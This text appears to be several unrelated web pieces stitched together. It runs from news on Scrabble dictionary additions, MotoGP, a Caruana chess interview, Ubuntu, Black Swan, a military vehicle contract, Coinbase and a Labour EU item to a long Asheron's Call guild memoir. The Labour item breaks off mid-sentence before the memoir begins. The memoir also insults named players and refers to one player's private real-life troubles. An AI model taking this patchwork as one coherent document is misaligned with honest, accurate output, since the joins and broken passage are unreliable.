“Being able to hook an ‘e’ underneath ‘t’ means that I can play far more words,” explained Daniel, who practices Scrabble two to four hours a day.
“Sometimes you play parallel to a word and you’re making two-letter words along the way. I call those the amino acids of Scrabble. The more two-letter words we have, the more possibilities a word will fit.”
One woman’s te is another man’s “qajaq,” one of Peter Sokolowski’s favourites among the new words. He’s a lexicographer and editor at large for the Springfield, Massachusetts-based Merriam-Webster.
Qajaq, he said in a recent interview with Daniel, reflects the Inuit roots of kayak and would require a blank tile since Scrabble sets include just one Q. But it’s a rare word starting with “q” that doesn’t require a “u.”
A bonus, to a word nerd like Sokolowski: qajaq is a palindrome, though that’s inconsequential in Scrabble.
The new words add about 40 pages to the Scrabble-sanctioned dictionary, which already lists more than 100,000 playable words. Definitions are kept to a minimum but parts of speech and whether a plural is available are noted.
To be included in the 36-year-old book — this is the fifth edition — a word must be found in a standard dictionary, can’t require capitalization, can’t have hyphens or apostrophes and can’t be an abbreviation, in addition to being two to eight letters, reflecting the seven tiles players draw plus an eighth already on the board they can attach a long word to for bonus points.
Among the highest potential scorers among the new additions is “quinzhee,” a shelter made by hollowing out a pile of snow. Played on the board’s top row, ending at the top right through an existing “u,” and a player can score 401 points, including the 50-point “bingo” bonus for using all seven tiles.
Merriam-Webster didn’t identify all 5,000 new words but released a list of about 30 that also include:
beatbox
buzzkill
chillax
coqui
frenemy
funplex
jockdom
joypad
mixtape
mojito
ponzu
qigong
schmutz
sudoku
yuzu
Geocache was also added, voted into the dictionary by the public during a Facebook contest in May.
"It makes the game more accessible to younger people, which we’re always looking for,” Daniel said of the update. “All the technology words make it more attractive to them.”
Sokolowski anticipates a transitional period for some players who may need time getting used to the idea that so many new words will soon be in play.
“It is going to be a big step for a lot of people to switch to this,” he said, “but at the same time if you’re sitting at a Scrabble game after dinner and somebody plays the word selfie and somebody challenges that as not a real word, well guess what? It is.”Stefan Bradl will line up for his first race as a Factory Aprilia rider at the Red Bull Indianapolis Grand Prix.
Bradl’s main aim will be to continue to develop the RS-GP bike in the remaining nine races after being released from his Forward Racing contract during the summer break. The German rider currently has 9 points in the MotoGP™ World Championship standings, and he will be hoping to add to this as the season goes on.
Stefan Bradl: “I can't wait to get to Indianapolis and start this new, great adventure. It obviously won't be easy at the beginning. I'll need to get used to a new team and a new bike, so my main goal in this first Grand Prix is to begin getting to know my mechanics and familiarising myself with the way the bike performs. As for my injured right wrist, the situation is good: I am very pleased because my hand is no longer giving me problems and lately I have been able to do the same training programme that I did before my injury. During the summer break the healing process went well and on Monday the doctors gave me the all clear to race at Indy. Recently I have also been Motocross training to check my sensations on a bike. I still don't know how I'll feel astride a MotoGP bike, but I think that by the time I arrive at Indianapolis I'll already be close to 100% fitness.”On the day Magnus Carlsen retained the World Championship title his greatest rival, 22-year-old Fabiano Caruana, talked to Vlad Tkachiev. The conversation started with the match in Sochi, about which the world no. 2 has some strong opinions, but it soon moved on to more general topics such as Carlsen’s weaknesses, the problems with the World Championship system in general and whether Fabiano will consider playing for the US.
This interview has been translated with permission from the Russian original at Tkachiev’s new blog, ChEsSay.
Fabiano Caruana: “It’s possible!”
The world no. 2 on the match in Sochi, his triumph in St. Louis,
his plans for the future and much more…
Text: Vlad Tkachiev
Photos: Irina Stepaniuk
Vlad Tkachiev: Fabiano, what happened today in the 11th game?
Fabiano Caruana: Anand tried to get a sharp position, as otherwise he could perfectly well have repeated the line with 9…Ke8, 10…h5 and, perhaps, have held it, as he did in the previous games. The problem is that over the whole course of the match he played worse than his opponent and he was unable to get to grips with the complex situation that arose.
But how would you explain the move 27…Rb4?
Well, that’s probably a move you’d like to make in blitz.
Why not make a draw in that game and take your chances in the final game, with the white pieces?
Vishy probably didn’t believe in the possibility of beating Magnus in the deciding game. In fact the only time he managed to win in the match it occurred due to Carlsen choosing a terrible variation. In the remaining games he didn’t come close and, it seems, he didn’t really believe in his chances of succeeding in the final encounter.
But still, 27…Rb4 is madness!
Yes, it seems that by that point Anand had already lost control of his nerves.
Were you rooting for anyone in this match?
No, I had no personal preferences.
The only difference is that now Anand will play in the Candidates Tournament rather than Carlsen.
Do you really think Vishy will try to qualify for yet another match with Carlsen?
I’m almost sure that’s the way it’s going to be. At the end of the day, that’s the professional approach, and I don’t think Vishy is currently considering the option of quitting chess.
Did you rate Anand’s chances of victory highly before the match?
He had good results this year and in Dubai during the blitz and rapid chess tournaments he looked more inspired than he had in the last couple of years. Nevertheless, Magnus is now clearly stronger. Before the match I’d have called him the clear favourite, although things didn’t go all that smoothly. In the 3rd game he was let down by his preparation, but overall he never got into any serious danger in Sochi.
Do you think the turning point of the match was the 6th game, when Anand failed to find 26…Nxe5?
That was a tough blow for him, of course, but that situation arose absolutely by chance. What was strange was instead Anand choosing an opening variation that involved a transition to a worse ending for Black. Moreover, it was all well-known. And it was also the type of position in which Magnus is particularly strong. It was simply inexplicable. If you fail to spot a one-move win, of course, it’s hard to count on much in such a match.
What was Vishy’s main mistake in this match?
The strange way in which he twice played the Sicilian Defence. Already on the first attempt it didn’t go so well, but he continued it a second time. The whole course of the match in Sochi showed that Carlsen had nothing special prepared against the Berlin and Vishy should have stuck to his guns. The idea of playing the Paulsen was very bad and very strange, in my view.
Did the match surprise you in any way?
No, except for that mutual blunder with 26…Nxe5 in the 6th game it was all more or less normal. But such things happen – just think, for instance, of mate in a few moves being missed in the second game of the Topalov-Kramnik match. It was another matter the way it all ended so abruptly. I expected a draw in the 11th game and a big battle in the 12th.
Do you think you’d be able to withstand the enormous mental stress of a World Championship match?
It’s hard for me to say since I’ve never played at that level. I think I’d manage to remain calm and focussed, but until you find yourself in such a situation it’s impossible to judge.
What do you consider Carlsen’s main weakness?
He’s considered a great endgame specialist, but when he’s forced to defend he’s hardly stronger than other top players. In the past openings were a weak spot and he had problems with principled players who went for main lines – for example, with Kramnik… (by the way, Vishy is also well-known precisely for such an approach to the opening.) Then, however, Magnus paid attention to that aspect and did a lot of work. Overall, you can outplay him in many types of positions if you play strongly. Yes, it’s not easy, but it’s possible.
I recently beat Carlsen first in an endgame, and then in a very complex unclear struggle. He’s still a man. The main thing is not to be too scared of him!
Doesn’t it seem to you that many players – particularly Anand – experience great psychological problems playing against Carlsen?
Yes, it’s obvious that in Chennai that’s how it was. I noticed it earlier than that in 2013, I think, when they played in the Tal Memorial and Magnus chose the Nimzowitsch Defence for White with 4.e3 and 5.Nge2. Vishy was very nervous before the game and during it as well. So I think he has a certain psychological vulnerability when it comes to Carlsen.
If the match included not only games at the classical time control but also rapid and blitz would Anand’s chances be greater?
Of course in that case it would all become more unpredictable, although in principle I consider Carlsen even stronger in rapid time controls. Personally it’s more comfortable for me to play Carlsen at “slow chess”.
Despite the fact you’ve already beaten Magnus in both rapid and blitz?
I consider myself a decent rapid player, but I’m a lot less comfortable in blitz. In the latter case my score against Carlsen isn’t too good, although of course I was bound to beat him at some point.
An Aronian-Nakamura match is taking place in St. Louis just now. Did the American organisers offer you something similar?
No, but it seems to me that Rex Sinquefield is planning to organise a series of matches between top chess players and this is just the first. I’ve got no idea if he’s thinking of doing something with my participation. It’s possible he has long-term chess plans.
Do you think the current World Championship system should be changed? I’ve got in mind the World Championship title and the privileges it brings.
Of course you could improve the system a lot – for instance, with a series of tournaments involving the world’s top chess players to decide who the best is that year. At the moment the World Champion only needs to win the match for the crown and for the rest of the time he can play how he likes.
Yes, Carlsen is now unquestionably the strongest player in the world, but overall the system doesn’t reflect who’s best at the current moment, since the Champion only needs to win one match and wait for the next.
However, to make such changes you need a more effective organisation than FIDE. It’s enough to look at what’s happened to the Grand Prix and the Women’s World Championship. It’s pretty ridiculous, but there are no signs it’s going to improve in future, unfortunately.
And what’s wrong with the Grand Prix?
Let’s start with the fact that of the four planned tournaments one of them was supposed to take place in Tehran, where not all of the players would be able to travel – for instance Gelfand. I had that option, but the tournament was scheduled for the same time as Zurich, in which I’d already agreed to play. Besides, the first two tournaments were organised almost one after the other, although there were plenty of available dates. At about the same time the Petrosian Memorial was taking place. I’d have liked to take part in it but was unable to because three events in a row is too much. Plus, over the course of half a year there was no information from them until suddenly we got an e-mail with a demand to take a decision in one week. Two venues for the stages have already been changed: Moscow and Tehran became Khanty-Mansiysk and Tbilisi – no consistency. The prize fund was reduced, so that now if you take a second with you it’s almost impossible to earn anything. That’s unprofessional and lowers motivation, leaving only the desire to qualify for the Candidates Tournament. Grand Prix means “big prize”, but the overall prizes for the results of all the tournaments were simply abolished. If you recall, last year the first prize for the winner of the series was $120,000. Plus the prizes for each particular tournament have been reduced: it was $25,000 for first prize and now it’s $20,000.
Do your colleagues share your opinion about the World Championship?
Yes, I’ve talked with them on the topic. The current system has existed for 70 years already and is clearly out of date.
And have you talked about it with Carlsen?
No, not with him, but I know he talked about the necessity of getting rid of the Champion’s privileges. However, that was before he won the title. (laughs)
Could the same situation arise in chess as in boxing where you have competing world titles? The latest news from Rex Sinquefield makes me wonder about that…
I don’t know what his precise plans are, but I don’t think they conflict with FIDE’s activity. The possibility of a split existed a couple of months ago when Carlsen failed to sign the match contract for Sochi, but in the end nothing of the sort happened – probably for the best, since in that case we might have got the same total chaos as in the 90s after Kasparov and Short created the PCA. Luckily there was no repeat.
Are you planning to return to the American rating list and play for the US team?
No, I’m not planning that at this moment in time. However, I don’t know what will happen in future. Such an option is always there since I’ve got dual citizenship: American and Italian.
If sometime you become World Champion will you consider yourself the second American Champion or the first Italian?
And why not both at once? I consider myself an American since I was born in the States and grew up there. I’m an Italian since my mother is Italian and my ancestors on my father’s side are also Italian.
Can you explain your streak in St. Louis? Changes in your personal life, or just one of those things that happens?
I arrived there after the Tromsø Olympiad ill and with a broken computer, so I wasn’t expecting anything good. I’m not superstitious, but on the plane to the US the person next to me turned out to be the World Champion in some kind of cowboy sport. When I told him I was heading for a chess tournament he replied: “If you want you’ll win it!” But otherwise… it just seems everything came together: my mood, the playing conditions, my sporting form. Usually something doesn’t work out, you have doubts, but not on this occasion. Of course what took place was a unique occurrence – the probability of seven wins in a row is close to zero. But, as it turned out, it’s possible!
See also:It had to happen one day - and today is as good as any, right?
Mark Shuttleworth has marked Ubuntu’s ‘Bug #1‘ as fixed,
The bug, opened back in 2004 a month before the first release of Ubuntu was made, concerned Microsoft’s dominant market position. The desired ‘fix’ for the bug was listed as ‘…the majority of the PCs for sale should include only free software.’
Has that happened?
Actually, it sort of has – just not in the way most of us would’ve guessed back in 2004.
Android is an open-source Linux-based operating system that commands a hefty share of the computing market; and sales of Chromebooks, powered another open-source Linux-based OS, are increasing by the month.
With more even more devices powered by open-source, including FirefoxOS and Intel/Samsung’s upcoming Tizen, on the horizon the footprint of free software on the wider computing market is only going to grow larger at the expense of Microsoft and their Windows OS.
As Mark Shuttleworth reasons:
“Personal computing today is a broader proposition than it was in 2004: phones, tablets, wearables and other devices are all part of the mix for our digital lives. From a competitive perspective, that broader market has healthy competition, with IOS and Android representing a meaningful share.
Android may not be my or your first choice of Linux, but it is without doubt an open source platform that offers both practical and economic benefits to users and industry. So we have both competition, and good representation for open source, in personal computing.
Even though we have only played a small part in that shift, I think it’s important for us to recognize that the shift has taken place. So from Ubuntu’s perspective, this bug is now closed.”Someone who was hired to make audiences think Natalie Portman could dance in BLACK SWAN is annoyed that audiences thought Natalie Portman could dance in BLACK SWAN.
I like stuntmen. They do the hardest, most dangerous work on a movie set but most people never know their names. And they understand that their job isn’t so much to be lit on fire or to crash a car or to take a fall but rather to make the stars look good. So what that means is that Tom Cruise stands up and says ‘I do all my own stunts’ and the legions of stuntmen who did his stunts stand quietly.
Sarah Lane, who dance doubled for Natalie Portman in Black Swan, seems to not understand the kind of honor system that motivates stunt men to stand away from the spotlight. The dancer is complaining to Entertainment Weekly that she did most of the full body dancing in the movie, which won Portman an Oscar.
No shit, Lane. There’s some back and forth about how much dancing is being done by Portman versus Lane and in which kinds of shots - full body, upper body, etc - but none of that matters. Nobody went to go see Black Swan because they wanted to see Portman dance. Nobody will be clamoring for a refund just because Portman doesn’t do her own dancing anymore than they clamor for a refund at the end of Star Trek because there’s no actual Starship Enterprise. It’s the fucking movies.
The role of a stuntman, or a dance double, or a special effects team, is to create false reality so that the audience can be lost in the suspension of disbelief. The best stuntman is one who makes you believe the star is jumping from the burning building without question. The best FX team is the one that never makes you question the superhuman feats of the lead hero. And the best dance double is the one that allows you to think that Natalie Portman is the best dancer in the company.
Yeah, everybody talks about the work that the actors do in preparation. Portman studied dance for months. But that was just to allow her to give the illusion of dancing, not to actually get on stage and perform in a ballet. Movies are a collaborational artform where most of the artists are invisible. It’s the nature of the beast.
So yeah, Sarah Lane, I bet you’re an incredible dancer. But when you go complaining to Entertainment Weekly that Portman didn’t do her own dancing you’re a shitty, shitty dance double.Officials with Polaris say they are track to deliver their DAGOR vehicles to Canadian special forces later this year.
The contract calls for a total of 52 vehicles to be delivered in total. There is an option for 26 additional vehicles. Those would be delivered sometime in 2018 if that option is exercised.
The vehicles will be used by special forces mainly for off-road operations. A weapons turret will be installed on the vehicles.
The vehicles can be transported by a variety of Canadian military aircraft, including Chinook helicopters and C-17 and C-130 transport planes. A Chinook can carry two of the vehicles.
Canadian special forces currently operate a fleet of U.S. built High Mobility Multi-Purpose Wheeled Vehicles or Humvees. Those vehicles are located at Garrison Petawawa in the Ottawa Valley but can be used by various CANSOFCOM units, including the Ottawa-based Joint Task Force 2 counter-terrorism unit.
CANSOFCOM has upgraded the Humvees but wants to eventually buy replacement vehicles.
The contract with Polaris includes technical support services and integrated logistics support for two years; that involves everything from spare parts to driver training.
Polaris Industries will be using the services of Black’s Corners Motorsports (BCM), from Carleton Place, Ont., for post-delivery support, according to Public Services and Procurement Canada. That includes support for the life of the vehicles, repairs, the warehousing of spare parts, and any warranty support as needed.
The DAGOR was designed with the help of a company that builds vehicles used in NASCAR events.
The DAGOR is also used by U.S. and Australian special forces.
Photos of DAGOR by David Pugliese:The New York State Department of Financial Services (NYDFS) has awarded cryptocurrency exchange Coinbase a formal license to do business in the state.
Though Coinbase has been allowed to serve New York customers under a safe-harbor provision while the application process was being conducted, the formal award of the so-called “BitLicense” solidifies the exchange’s operating status.
Coming at a time when the exchange has been waging what could be an expensive legal battle with the IRS to protect its customer data, the license is being described as a “validation” of Coinbase’s aim to be compliant with regulatory considerations.
Coinbase CEO Brian Armstrong said in a statement:
“At Coinbase, our first priority is to ensure that we operate the most secure and compliant digital currency exchange in the world. We’re thrilled to have obtained the BitLicense and look forward to expanding our business in New York.”
The license was granted after a “comprehensive” review of Coinbase’s anti-money laundering, capitalization, consumer protection and cybersecurity policies, according to a statement provided to CoinDesk by the NYDFS.
The company will be subject to ongoing supervision by the regulator.
San Franscico-based Coinbase is one of the most heavily funded startups in the industry, having raised $117m in venture capital.
Adding to history
Formally released in June 2015, the BitLicense was designed to provide a framework for companies looking to custody bitcoin and other cryptocurrencies for their customers or trade the cryptocurrency.
However, after an initial 22 applications were sent in, the controversial license proved too expensive for many startups. In fact, this is only the third BitLicense to be awarded to date, with multiple applications have been denied.
In September 2015, Boston-based Circle was granted the first BitLicense, though by December 2016 the company had pivoted away from its bitcoin exchange to focus more on payments.
Last July, San Francisco-based Ripple was awarded the second BitLicense.
In addition to the BitLicense, the NYDFS has granted banking charters to bitcoin startups Gemini Trust Company and itBit Trust Company.
Financial Services Superintendent Vullo concluded in the statement:
“New York is committed to fostering and encouraging the long-term growth of new industries throughout the state while enforcing all necessary safeguards to protect our markets and consumers.”
Image via GlassdoorThe Labour leader says Tory plans for a referendum on membership of the EU are wrong and threaten to undermine business confidence in Britain as a partner in trade.
His comments come as it emerged that Labour MPs will be ordered to oppose a Commons motion criticising the lack of a referendum Bill in the Queen’s Speech.
In his first direct response to the renewed debate on a referendum in the wake of Ukip’s success in last week’s elections, Mr Miliband will say that Labour will “always stand up for the national interest”.
“Our national interest lies in staying in the European Union and working for the changes that will make it work better for Britain,” he will tell the annual conference of Progress, a New Labour pressure group.
“It is wrong now to commit to an in/out referendum and have four years of uncertainty and a ‘closed for business’ sign above our country.”
The Labour leader will claim that the success of Ukip in the council elections demonstrates widespread public disillusionment with mainstream politics.
However, Ukip is a party of protest, he will say, while Labour must be a party “of solutions”.
Labour MPs will be told next week to vote against a motion criticising the Queen’s Speech for failing to mention a Bill allowing a referendum on Britain’s membership of the EU.
More than 100 Conservative MPs including ministers are said to be ready to back the motion. The Prime |
think the opinions were 50/50 in BR. We had a nice flame-war on the internal board. One half was happy because they got again something to fight for and Kara was luring with high sell-off prices and good supplies while the other half was pissed because of Lauae & Co´s Solo Tour. I was so angry about Lauae that I stayed for several days at plateau, ignoring completely the Kara situation before I joined finally into the fights to help the BRs at Kara. Lauae owns for sure credits for taking Kara back. She was kinda obsessed by the Kara idea. She was online a lot and motivated all her friends to help her in Kara. It was always fun to see how many people came when Lauae called for them. Especially TF were usually there when Lauae, a real female on DT -but in my eyes mentally a very poor person, called for them. I think the Americans call this 'pussy-whipped'. Luckily I never became a victim of her and Moon Orchids (who isn't a female but always told everyone that he would be one) plots. Well, the whole Lauae thing and her relationships to specific persons on DT is probably another 10-sides story; Maybe some of the involved persons will tell it one day. I won't do that since it involves a lot of real life stuff of several persons, and such stuff doesn't really belong in an online-game in my opinion.
Well, Lauae called and her buddies came, most noticeable some of TF (Ben and Hog). DVN and B IX were about to sell their accounts. I think B IX was already sold while DVN was planning on it (I saw him still from time to time at crater. The original DVN wasn't a bad guy, but I really didn't like the player behind original B IX, but I think last one influenced DVN a lot when they ruled TF. I remember a situation at Zaikhal when DVN and B IX came suddenly along. B IX started to attack Kitae for no reason while our fellowship was looking for some pks at Zaikhal. The fight escalated quick, Kitae died to DVN and I managed to kill B IX. While I got ineped and drained by DVN after Kitae had died, I still managed to loot B IX´s Hoary robe. After the fight I got a tell by B IX that he thought that Kitae was some kind of PK and that the attack was a mistake. Anyway, I gave him his hoary robe back. B IX also threatened and attacked me a few times at crater because "he wasn't welcome in kara" (to quote him). B IX simply caused too much trouble and behaved often pretty strange. I didn't like his character much. From all the old Feared I liked Ben-The-Feared the most. He was always a moderated guy and you could talk to him without having the feeling that you are facing a super-ego. Too bad that he got later too much under Lauae´s influence. He was later like a slave to her and did do what she wanted. I warned him a long time ago about Lauae. I guess he didn´t listen).
Well, DVN and Mikey re-appeared later in the Blood-allegiance. I remember the day when I fought for the first time the new Mikey and DVN that got bought by someone (not sure who) from Blood. They were the worst Extreme-High-Level PvP Fighters in AC at that time. It was like giving a civilian a machinegun without any instructions. Whoever controled them had no clue how to handle these chars in fights. Mikey often portal logged at sho-road, relogged on another character and stood then at the LS for hours on that trash-character (I don't mention this to talk someone down, I say this because it´s a fact and it god damn annoyed me to hell). The DVN character was just around for a few days. Actually he was more often at the Olthoi Tunnels than fighting in Kara. He didn't even LS tie to the main LS at Kara (he was tied to the hut LS between Kara and Lich archmage for a few days). I think the new players of these characters simply had to learn still a lot about AC and PvP. Especially the new DVN owner did do stupid mistakes in fights.
Xanthro started to sent out from time to time some troups that raided the Bloods at Kara on Lauae's request. In all the time I have to say that from all the Antis Xanthro was one of the most active and better organised ones. Sometimes he's a bit too illusive with his ideas and opinions but he's a good guy and tries at least to change things (even if he needs sometimes a reality dosis). But at least he tried often to help. I can't say this about many Antis. Most just sit around and talk, or they fight unimportant enemies. A lot of Antis talked BR down for ages for having unclear goals and making strange alliances sometimes - but hell - at least we KILLED tons of important pks in BR in the old days instead of talking about them. BR focused on the important enemies. Talking on boards and doing something in game are 2 different things. And focusing on the most important enemy is even another one. Sure, you can fight for ages your local town-pks, sure - you can try to keep your area 24h pk free, sure you can rule with an iron fist and never forgive a pk for his former deeds (that doesn´t mean you should accept ex-pks in your ranks, because most of them can't change really) - but all this usually doesn't change anything to the server´s guild-balance. Most "Antis" simply think in too little dimensions. And another poor thing is that I saw a lot of them running away or leaving an area when things got really hot because of nonstop raids (dungeons, towns, whatever). However that experience is not only limited to some Antis.. also a lot of pk's aren't much differnt. A lot of people just seek an easier life as character on Darktide, and they don´t care for sure about the side they are playing on. There are always some die-hard cases in a guild and these people are responsible for the outcome of a war. Who are the constantly raiders and protectors in a guild? Yes, not these 500-2000 followers. There is this little group of maybe max. 50 people in a guild that is helping often others, people that are fighting most of the time. People that focus also on other things besides leveling and their own character´s career. They do something for the guild that is different from just producing XP for someone else. A large amount of people just grab their stuff and run as soon as the advantages for being in a specific guild are gone or if things are getting too hot. What is left then are the people that are in the guild because of the guild and what it stands for, not because of some nice town or a good hunting ground. This is the clan´s core and only these people count. With them the guild raises or falls. Just because you write [core] behind your name on a messageboard, it doesn't make you a core-member. The solid base of a guild are usually a few people that invest a lot of their time into the guild and the guild´s goals. A guild may have 1000 people, but when you attack the guild´s home or hunting-grounds you always see the same few defenders. When you defend your town you always see the same few raiders. These people make the guild. If the makers give up or leave, then the guild falls apart - no matter how big it is.
But to continue in the time-line: More and more Bloods broke their main-LS tie after endless fights and Blood gave Kara finally up after some weeks. A lot of credits for this victory go to Lauae, RanRan Suzuki (who broke from BR shortly after the attack), Lews Kinslayer and several other BRs, because they invested really tons of time into the re-take of Kara. I wasn´t helping much in the first week because of the above mentioned reasons, but I acceped the facts after a week and joined then the fights (it doesn´t matter if I like a person or not; for example in Lauae´s case or the player of old RanRan - I give them credits for this because they deserve them - even if RanRan bragged too much about her/his kills at that time on the boards. I hate it in general when people have the need to brag about every crap or kill they do in game on a board. It just tells me that these perons have a personality-problem, a) because they are very young or b) because they are Mr. Nobody in real-life and have to shout all their great deeds in a virtual world to the public or c) because they are just trashy guys in general. It´s ok if you talk about facts or do some propaganda work for your guild, but a lot of the board-people really shouldn't open their mouth at all).
Blood left Kara and moved to Lythelthorpe. The Towel monarchy lived there at that time and had to retreat from the Bloods. Most of BR was already lifestoned back at Kara. But the Kara curse repeated (well for some people high follower numbers may be a blessing but I see it as curse); BR´s follower-numbers went rapidly up again and I couldn´t keep track of all the new followers anymore. With Kara also all the parasites came back into BR after some weeks. Suddenly ex-pk´s like Gorechild were sworn to some BRs (I think Gorechild was sworn to the 2nd Co-Monarch Lews Kinslayer). I warned the others several times that most of these ex-pk´s wouldn´t change at all for long, but not many did listen to me. People that we just fought a few days ago at Kara were accepted as followers. Lauae´s tree was causing constantly trouble. She was hanging out a lot with the Blood Mordok which caused a lot of trouble with some Anti Clans. Kitae and I were totally pissed about this situation. He asked me to release him, then he quit BR and AC for some time to play Everquest again. I thought several days about it and then I posted my decision on the internal BR board: I would quit as Co-Monarch of Black Rose and I would leave the clan. I always wanted a small group of loyal people around me, but never a big follower-juggernaut - and especially not ex-enemies in my ranks. I tried to change Black Rose into a new direction, but having Lauae in the allegiance made this impossible. I requested so many times from Nobile the drop of Lauae, however he never followed my requests. Nobile´s reasons for keeping Lauae were a bit complicated. I don´t want to mention too much about Lauae´s private life, but to give the reader a short impression: Nobile was concerned that upsetting Lauae may impact very negatively in her real life, because of the picture of herself she was selling to him. Let´s just say that it is a fact that Lauae had serious real-life problems and that she used her RL shit on Nobile a lot to get in game advancement and a special treatment. I didn`t know that first, but Nobile told me and Thunderstorm (who had started a new character but never passed with the new char level 40) after some time (around 2 months before I quit BR). I promised not to speak about it because it was very private stuff about Lauae, but I told him often that I thought that Lauae´s real-life things shouldn´t influence his game-play decisions that much. God, we had a lot of discussions because of Lauae and the trouble she was making. But you have to understand that Nobile is a really nice person and he felt very sorry for Lauae and didn`t want to make her RL-situation more worse than it already was by kicking her out of BR. Lauae should have quit AC in general much ealier. The online-game wasn´t good for her at all.
I was always an Asheron´s Call Lore fan and I digged myself deep into the background story. Because I was playing a Ghar´un Character and I loved the Hamud ibn Rafik character and his "precepts of the tenebrous edge" (and the mysterious Mountain Fortress) I opened the Shadow Warriors guild (the reincarnation of the Shagar Zharala on Dereth/Darktide). The guild´s followers had to follow a strict Code of Honor and I won´t tolerate any violations of the Code. Ex-pk´s won´t get acceped. Every new follower had to be reported and above level 15 (except interal guild re-rolls). Basically most of the people in my BR tree followed me and obeyed the new rules. I was still lifestoned at Kara but I moved my mules already to somewhere else. I met a few new germans on Darktide from CoA that swore to me (namely Dunkelzahn; he and his friend are responsible for most things on the nice SW webpage). Also Archetype from CoA joined under Krom. Krom and Cheeta are besides Kitae probably my most loyal long-time vassals. There is also Kabal but I didn't see him online since a very long time. Cheeta quit lately Darktide for a bit, but all in all she was one of the nicest players I`ve ever met in-game. Krom is so far like a loyal rock - standing under me and accepting all my decisions (he even obeyed my command when he had to drop one of his long-time online-friends on my order). Can you imagine that Krom is playing PvP on Darktide since he started with a constant 1000 ms ping from South Africa? And we complain about lag-holes... you should play from his place J. I can´t use Gamevoice with him because the connection to him is so terrible laggy that you can´t understand a word. Also Crank swore to me. I think he liked the guild idea and we had become meanwhile good online-friends. He changed his way of playing the char "Crank" totally because of the guild. He started to raid and defend actively specific places. I know that he died a lot for the guild (even if he always tries to convince me that he never dies - hehe. YES! I know you NEVER die!). Crank got finally Item magic around 2 months ago and he was so happy about it. A new life on DT started for him :). Too bad that he´s so busy lately.
Well, then came Ayan Baqur and the Black Spawn Dens + the Olthoi Horde Nests and Darktide totally changed. When I entered the Black Hill BSD for the first time I couldn´t believe it (the spawn was 3 minutes per tusker). I was making experience like insane. First I was happy but then I noticed very fast that the BSD´s were a big design mistake. People were simply leveling too fast. I leveled before the spawn-nerf from level 56-65 in about 2 weeks (and I was only leveling for a few hours per day). Lews Kinslayer rerolled in that non-nerfed BSD month on Imperil and leveled the char to level 65 within 3 weeks (alone and without any twinks). Shadow Soldier also rerolled and restarted as "The Dark Master", powerleveling in the northern Tethana BSD (TDM became later a big pk Clan for a short time and shared together with Moon XL a lifestone in a dungeon at Hebian-To. SS/TDM sold his account later). Ayan Baqur was even more cursed than Kara. Not only that this town has Tethana-like sell-off prices, it also has 2 direct-town portals to the main land for cheap shopping (Baishi & Uziz) + 2 excellent leveling grounds (BSD + HOM). It is the perfect town where you basically have to worry about nothing when you want to start a new character. Such a town simply doesn´t belong on Darktide. I mean, there were people living in AB that came from a whitedot-server that never saw anything else on Darktide than AB - until they reached level 50 or higher. Then they became suddenly rpk. That´s simply too cheap. Either you have the balls to play straight from the beginning as rpk or you are weak and wait until you have outleveled 80% of Darktide´s population to "own" them. It´s not all about levels and killing superior other characters on Darktide with the perfect template. It´s also about a task to fight fair a greater power than your own from the beginning of your character´s career.
A lot of these new high-level shooting-stars have one problem: They can not lose. I don´t know if they sit in a corner at home in front of a computer and start to cry if they get killed, because a higher level killed them or someone was better. Getting killed is part of the game - god damn it. Why can´t these people accept their own deaths in exchange for playing a character with a straight outline. I know I´m talking against a wall because lately a good amount of the player-base on darktide really changed negative. You can´t start in an evolving world as newbie and expect that you can compete with everyone within a short time without jumping from one side to the other, making everywhere compromises, just to reach as fast as possible a level range that allows you to compete with the top characters.
So many whitedot people are coming to DT and with them their way on how you play on a whitedot server. They want a safe town with a safe LS, they want a safe hunting ground where they can make XP without disruption of a PvP-Fight, they want a safe toilet, cheap spell components and great sell-off prices. Darktide, and what this world is about, begins for a lot of them when they are level 50 or higher. Then they show their real interests. Then they open suddenly their mouth and become Mr. Big Guy. Sorry guys, but you miss a lot on DT, even if you don´t think so. A lot of these people are not used to fight for leveling like many of the old people are (not many left tho). Fighting for leveling from 40+ on isn´t as hard as fighting for leveling from 0+ on. There is a big difference. Some even buy or trade their account for instant action. Sadly Ayan Baqur enforced this overall trend rapidly. I´ve never seen so many side flip-floppers before on Darktide. The sad thing is that you can not assess someone and see : "Player X has changed his allegiance 666 times" - "Player Y has changed from rpk to neutral to anti to honor to honor pk to whatever pk 999 times". There are only a few people outside of my guild left that I still like to talk to. I can count them on my ten fingers. In the last 13 months I´ve simply seen so many people changing their way of playing over and over, just to catch a specific benefit here or there. And they can re-roll as often as they want: The player behind all the characters doesn´t change. Most of them don´t even manage to stick to one role longer than a month. No matter if they reroll as anti, as pk, or as neutral... there is still sitting the same spineless jerk at the computer-screen. I remember only a VERY few cases, when people on a re-rolled character really managed to play a total different role as on their other character. I could start to name so many re-rolls that wanted to play a different role, but ended up doing exactly that what they did do before. It usually didn´t take longer than 1-2 months until their old face was shining through their new character. If you want to rpk it´s ok - just play the role. Don´t hide what you want to play. But please, accept also all the consequences of your role. The sun can´t shine always on a honest character.
Back to the time-line: After some time Blood was trying to re-take Kara. Some of them lifestoned at Kara main LS and fights started again at Kara. I remember that some of them only had GSA and Hollow/Atlan weapons. They were damn annoying. You killed them and they dropped absolutely nothing. That was an evil tactic. I think I also saw Asa of CoS (an ex BR, magic def spec´ed - sold and bought by a Blood) at that time for the first time under Blood raiding Kara (I think RaK bought her). I don´t remember for how long the fights lasted excactly but we managed to hold Kara for the last time by doing a lot of counter-raids on Adventure´s Haven and Lythelthorpe (most Bloods were Lifestoned there). Kara became a bit calmer.
In this time I also met White Morpheus aka Angeldust for the first time. He started around Al Araqas with some other germans (well, he´s austrian) from the old Talia al´Sharif group (Talia al´Sharif sold later her/his account). I think Morpheus came from MT from the old Elminster of Iceland allegiance. White Morpheus is really a great guy and when he moved later with his allegiance to Kara he fought a lot in the town-defense. Kara would have fallen probably even earlier without his help. Al Neo came (I think) around 2 months after WM started on DT and leveled with the help of WM extremely fast his staff-template to a high level. He and some other Angeldusts (mostly germans) were also a good addition to the town defense in the last days of Anti/Honor/Neutral/whatever Kara. Problem with Angeldust is that they got really some bad guys into their ranks at some time. It also seems that some people are having regulary problems with Al Neo. Neo can be a real jerk from time to time (according to the posts he makes sometimes) but I know that he helped a lot of people in the past and I think he accepts Morpheus final command. Morpheus himself is a very nice and moderated person for sure. I guess that without him the allegiance may have changed in a negative way. But that´s just my observation. Some Bloods were meanwhile lifestoned at Eastham (some had their mules in the Thieve´s Den).
